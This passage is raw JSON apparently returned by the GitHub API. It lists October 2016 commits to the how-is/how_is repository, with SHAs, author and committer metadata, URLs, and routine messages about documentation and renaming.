len Marie Dash","email":"me@duckie.co","date":"2016-10-02T03:46:28Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-10-02T03:46:28Z"},"message":"Merge pull request #59 from how-is/remove-pdf-remnants\n\nRemove remnants of PDF-related stuff.","tree":{"sha":"d786bbcae616d68150c49b059ee1148393660a87","url":"https://api.github.com/repos/how-is/how_is/git/trees/d786bbcae616d68150c49b059ee1148393660a87"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/79b47b5c484dda5d26a53537100855b54c8f8bcf","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/79b47b5c484dda5d26a53537100855b54c8f8bcf","html_url":"https://github.com/how-is/how_is/commit/79b47b5c484dda5d26a53537100855b54c8f8bcf","comments_url":"https://api.github.com/repos/how-is/how_is/commits/79b47b5c484dda5d26a53537100855b54c8f8bcf/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"f623c05685f7367f229630bb17dfbc0b164e919e","url":"https://api.github.com/repos/how-is/how_is/commits/f623c05685f7367f229630bb17dfbc0b164e919e","html_url":"https://github.com/how-is/how_is/commit/f623c05685f7367f229630bb17dfbc0b164e919e"},{"sha":"12bfd163ddd54dbd5bc30fa61dffeda592fe2b69","url":"https://api.github.com/repos/how-is/how_is/commits/12bfd163ddd54dbd5bc30fa61dffeda592fe2b69","html_url":"https://github.com/how-is/how_is/commit/12bfd163ddd54dbd5bc30fa61dffeda592fe2b69"}]},{"sha":"c0bb43562e3d02ce976084cfe328760eab9baad1","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzBiYjQzNTYyZTNkMDJjZTk3NjA4NGNmZTMyODc2MGVhYjliYWFkMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-02T03:46:06Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-02T03:46:06Z"},"message":"Rename export! to export_file.","tree":{"sha":"cafbb67c26c927f814e069b2722d7a7fd5ca1907","url":"https://api.github.com/repos/how-is/how_is/git/trees/cafbb67c26c927f814e069b2722d7a7fd5ca1907"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c0bb43562e3d02ce976084cfe328760eab9baad1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c0bb43562e3d02ce976084cfe328760eab9baad1","html_url":"https://github.com/how-is/how_is/commit/c0bb43562e3d02ce976084cfe328760eab9baad1","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c0bb43562e3d02ce976084cfe328760eab9baad1/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f623c05685f7367f229630bb17dfbc0b164e919e","url":"https://api.github.com/repos/how-is/how_is/commits/f623c05685f7367f229630bb17dfbc0b164e919e","html_url":"https://github.com/how-is/how_is/commit/f623c05685f7367f229630bb17dfbc0b164e919e"}]},{"sha":"12bfd163ddd54dbd5bc30fa61dffeda592fe2b69","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTJiZmQxNjNkZGQ1NGRiZDViYzMwZmE2MWRmZmVkYTU5MmZlMmI2OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-02T03:40:35Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-02T03:41:02Z"},"message":"Remove remnants of PDF-related stuff.","tree":{"sha":"d786bbcae616d68150c49b059ee1148393660a87","url":"https://api.github.com/repos/how-is/how_is/git/trees/d786bbcae616d68150c49b059ee1148393660a87"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/12bfd163ddd54dbd5bc30fa61dffeda592fe2b69","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/12bfd163ddd54dbd5bc30fa61dffeda592fe2b69","html_url":"https://github.com/how-is/how_is/commit/12bfd163ddd54dbd5bc30fa61dffeda592fe2b69","comments_url":"https://api.github.com/repos/how-is/how_is/commits/12bfd163ddd54dbd5bc30fa61dffeda592fe2b69/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f623c05685f7367f229630bb17dfbc0b164e919e","url":"https://api.github.com/repos/how-is/how_is/commits/f623c05685f7367f229630bb17dfbc0b164e919e","html_url":"https://github.com/how-is/how_is/commit/f623c05685f7367f229630bb17dfbc0b164e919e"}]},{"sha":"f623c05685f7367f229630bb17dfbc0b164e919e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjYyM2MwNTY4NWY3MzY3ZjIyOTYzMGJiMTdkZmJjMGIxNjRlOTE5ZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T01:18:18Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-10-01T01:18:18Z"},"message":"Merge pull request #58 from how-is/comments\n\nFUCK YEAH DOCUMENTATION","tree":{"sha":"2e0e51ed788d40856f37f16407f61bd39fdd6562","url":"https://api.github.com/repos/how-is/how_is/git/trees/2e0e51ed788d40856f37f16407f61bd39fdd6562"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f623c05685f7367f229630bb17dfbc0b164e919e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f623c05685f7367f229630bb17dfbc0b164e919e","html_url":"https://github.com/how-is/how_is/commit/f623c05685f7367f229630bb17dfbc0b164e919e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f623c05685f7367f229630bb17dfbc0b164e919e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"29b899b7d540d168e12d621d4cb6f41681ed3fc4","url":"https://api.github.com/repos/how-is/how_is/commits/29b899b7d540d168e12d621d4cb6f41681ed3fc4","html_url":"https://github.com/how-is/how_is/commit/29b899b7d540d168e12d621d4cb6f41681ed3fc4"},{"sha":"22e97ccefc587c97708552f0038aca5f8ee25708","url":"https://api.github.com/repos/how-is/how_is/commits/22e97ccefc587c97708552f0038aca5f8ee25708","html_url":"https://github.com/how-is/how_is/commit/22e97ccefc587c97708552f0038aca5f8ee25708"}]},{"sha":"22e97ccefc587c97708552f0038aca5f8ee25708","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjJlOTdjY2VmYzU4N2M5NzcwODU1MmYwMDM4YWNhNWY4ZWUyNTcwOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T01:15:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T01:15:14Z"},"message":"Yay more documentation!","tree":{"sha":"2e0e51ed788d40856f37f16407f61bd39fdd6562","url":"https://api.github.com/repos/how-is/how_is/git/trees/2e0e51ed788d40856f37f16407f61bd39fdd6562"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/22e97ccefc587c97708552f0038aca5f8ee25708","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/22e97ccefc587c97708552f0038aca5f8ee25708","html_url":"https://github.com/how-is/how_is/commit/22e97ccefc587c97708552f0038aca5f8ee25708","comments_url":"https://api.github.com/repos/how-is/how_is/commits/22e97ccefc587c97708552f0038aca5f8ee25708/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"201d1c504f8472bdeb95471b9a7812ee343be9bb","url":"https://api.github.com/repos/how-is/how_is/commits/201d1c504f8472bdeb95471b9a7812ee343be9bb","html_url":"https://github.com/how-is/how_is/commit/201d1c504f8472bdeb95471b9a7812ee343be9bb"}]},{"sha":"201d1c504f8472bdeb95471b9a7812ee343be9bb","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjAxZDFjNTA0Zjg0NzJiZGViOTU0NzFiOWE3ODEyZWUzNDNiZTliYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T01:06:27Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T01:06:27Z"},"message":"More documentation!","tree":{"sha":"e365250a66b8079c8fa11efd2942d960e4738c15","url":"https://api.github.com/repos/how-is/how_is/git/trees/e365250a66b8079c8fa11efd2942d960e4738c15"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/201d1c504f8472bdeb95471b9a7812ee343be9bb","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/201d1c504f8472bdeb95471b9a7812ee343be9bb","html_url":"https://github.com/how-is/how_is/commit/201d1c504f8472bdeb95471b9a7812ee343be9bb","comments_url":"https://api.github.com/repos/how-is/how_is/commits/201d1c504f8472bdeb95471b9a7812ee343be9bb/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a3a6d02e60067a02e797b18107a435b470b8337","url":"https://api.github.com/repos/how-is/how_is/commits/4a3a6d02e60067a02e797b18107a435b470b8337","html_url":"https://github.com/how-is/how_is/commit/4a3a6d02e60067a02e797b18107a435b470b8337"}]},{"sha":"4a3a6d02e60067a02e797b18107a435b470b8337","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGEzYTZkMDJlNjAwNjdhMDJlNzk3YjE4MTA3YTQzNWI0NzBiODMzNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T00:58:24Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T00:58:24Z"},"message":"Documentation!","tree":{"sha":"d19bfcbfc16bd12fcde711d008df42ee00db10ee","url":"https://api.github.com/repos/how-is/how_is/git/trees/d19bfcbfc16bd12fcde711d008df42ee00db10ee"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4a3a6d02e60067a02e797b18107a435b470b8337","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4a3a6d02e60067a02e797b18107a435b470b8337","html_url":"https://github.com/how-is/how_is/commit/4a3a6d02e60067a02e797b18107a435b470b8337","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4a3a6d02e60067a02e797b18107a435b470b8337/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"186f918cafeb2070c9c7be3f857c5387ec6c36a3","url":"https://api.github.com/repos/how-is/how_is/commits/186f918cafeb2070c9c7be3f857c5387ec6c36a3","html_url":"https://github.com/how-is/how_is/commit/186f918cafeb2070c9c7be3f857c5387ec6c36a3"}]},{"sha":"186f918cafeb2070c9c7be3f857c5387ec6c36a3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTg2ZjkxOGNhZmViMjA3MGM5YzdiZTNmODU3YzUzODdlYzZjMzZhMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T00:31:09Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T00:31:09Z"},"message":"Update help text.","tree":{"sha":"3740ec84346463690247d008cfaff38b07f6fab0","url":"https://api.github.com/repos/how-is/how_is/git/trees/3740ec84346463690247d008cfaff38b07f6fab0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/186f918cafeb2070c9c7be3f857c5387ec6c36a3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/186f918cafeb2070c9c7be3f857c5387ec6c36a3","html_url":"https://github.com/how-is/how_is/commit/186f918cafeb2070c9c7be3f857c5387ec6c36a3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/186f918cafeb2070c9c7be3f857c5387ec6c36a3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"58213f9600b7cccde817cf8dd264156097545bb7","url":"https://api.github.com/repos/how-is/how_is/commits/58213f9600b7cccde817cf8dd264156097545bb7","html_url":"https://github.com/how-is/how_is/commit/58213f9600b7cccde817cf8dd264156097545bb7"}]},{"sha":"58213f9600b7cccde817cf8dd264156097545bb7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTgyMTNmOTYwMGI3Y2NjZGU4MTdjZjhkZDI2NDE1NjA5NzU0NWJiNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T00:28:02Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T00:28:02Z"},"message":"Restructure + comment a chunk of code to make it clearer.","tree":{"sha":"3959067828437fb72ae76933f4489dfb0ec5f082","url":"https://api.github.com/repos/how-is/how_is/git/trees/3959067828437fb72ae76933f4489dfb0ec5f082"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/58213f9600b7cccde817cf8dd264156097545bb7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/58213f9600b7cccde817cf8dd264156097545bb7","html_url":"https://github.com/how-is/how_is/commit/58213f9600b7cccde817cf8dd264156097545bb7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/58213f9600b7cccde817cf8dd264156097545bb7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"284dbe2d5015ccb80dc20606d97e244a57967393","url":"https://api.github.com/repos/how-is/how_is/commits/284dbe2d5015ccb80dc20606d97e244a57967393","html_url":"https://github.com/how-is/how_is/commit/284dbe2d5015ccb80dc20606d97e244a57967393"}]},{"sha":"284dbe2d5015ccb80dc20606d97e244a57967393","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Mjg0ZGJlMmQ1MDE1Y2NiODBkYzIwNjA2ZDk3ZTI0NGE1Nzk2NzM5Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T00:22:51Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-10-01T00:22:51Z"},"message":"Update comment in how_is/cli/parser.","tree":{"sha":"b0c38b27781a47b1b733cb95979dd16ce380434d","url":"https://api.github.com/repos/how-is/how_is/git/trees/b0c38b27781a47b1b733cb95979dd16ce380434d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/284dbe2d5015ccb80dc20606d97e244a57967393","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/284dbe2d5015ccb80dc20606d97e244a57967393","html_url":"https://github.com/how-is/how_is/commit/284dbe2d5015ccb80dc20606d97e244a57967393","comments_url":"https://api.github.com/repos/how-is/how_is/commits/284dbe2d5015ccb80dc20606d97e244a57967393/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"29b899b7d540d168e12d621d4cb6f41681ed3fc4","url":"https://api.github.com/repos/how-is/how_is/commits/29b899b7d540d168e12d621d4cb6f41681ed3fc4","html_url":"https://github.com/how-is/how_is/commit/29b899b7d540d168e12d621d4cb6f41681ed3fc4"}]},{"sha":"29b899b7d540d168e12d621d4cb6f41681ed3fc4","node_id":"MDY6